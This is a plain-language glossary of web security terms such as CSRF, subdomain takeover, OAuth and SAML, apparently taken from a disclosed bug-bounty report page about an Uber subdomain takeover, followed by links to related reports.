  • CNAME: a DNS record that says one name is really another name, a forwarding note in the internet's address book.
  • Cross-site request forgery (CSRF): when a malicious page makes your browser send a request you did not intend.
  • CSRF token: a random value a site gives you and checks back, so a forged request from another site cannot succeed.
  • Dangling pointer: a forwarding note that points at a slot nobody owns any more.
  • DNS: the internet's address book, turning names like uber.com into the addresses computers use.
  • Domain attribute: a cookie setting that says which sites under a main name may see the cookie.
  • GET parameter: a value attached to the end of a URL after a ?, like ?state=abc.
  • HTML: the language web pages are written in.
  • HTTP headers: small labels that travel with a web request or response, such as Location: or Set-Cookie:.
  • Identity Provider: the central login desk that proves who you are.
  • Iframe: a web page embedded inside another web page.
  • Intercepting proxy: a tool that sits between your browser and the internet and lets you pause, read and edit traffic.
  • IP address: the number that identifies a device on a network.
  • JavaScript: the programming language browsers run to make pages interactive.
  • Let's Encrypt: a service that issues free SSL certificates.
  • OAuth: an SSO style where a central desk hands out temporary vouchers that only pre-approved sites may redeem.
  • PHP: a programming language that runs on web servers before a page is sent to the browser.
  • Proof of concept (PoC): a small demonstration that a problem is real and exploitable.
  • Remote code execution (RCE): when an attacker can make a server run their own code.
  • SAML: an SSO style based on signed messages exchanged between sites and the central desk.
  • Service Provider: a website that trusts the central login desk.
  • Session cookie: the cookie that says your browser is logged in as a particular person.
  • Single Sign-On (SSO): logging in once at a central place and being let into many related sites.
  • SSL certificate: the padlock proof that a site is who it claims to be.
  • Subdomain: a name in front of a main name, such as riders in riders.uber.com.
  • Subdomain takeover: claiming a subdomain because the company left it pointing at a service slot nobody owns any more.
  • TLD: the last part of a name, such as .com.
  • Triaged: reviewed and accepted as a real issue by the company's security team.

More by Arne Swinnen

View all

6 more disclosed reports, best first.

More from Uber

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Subdomain takeover

The lesson behind this report.

A company's DNS still points at a cloud service it no longer uses, so anyone can claim it and serve content on the company's domain.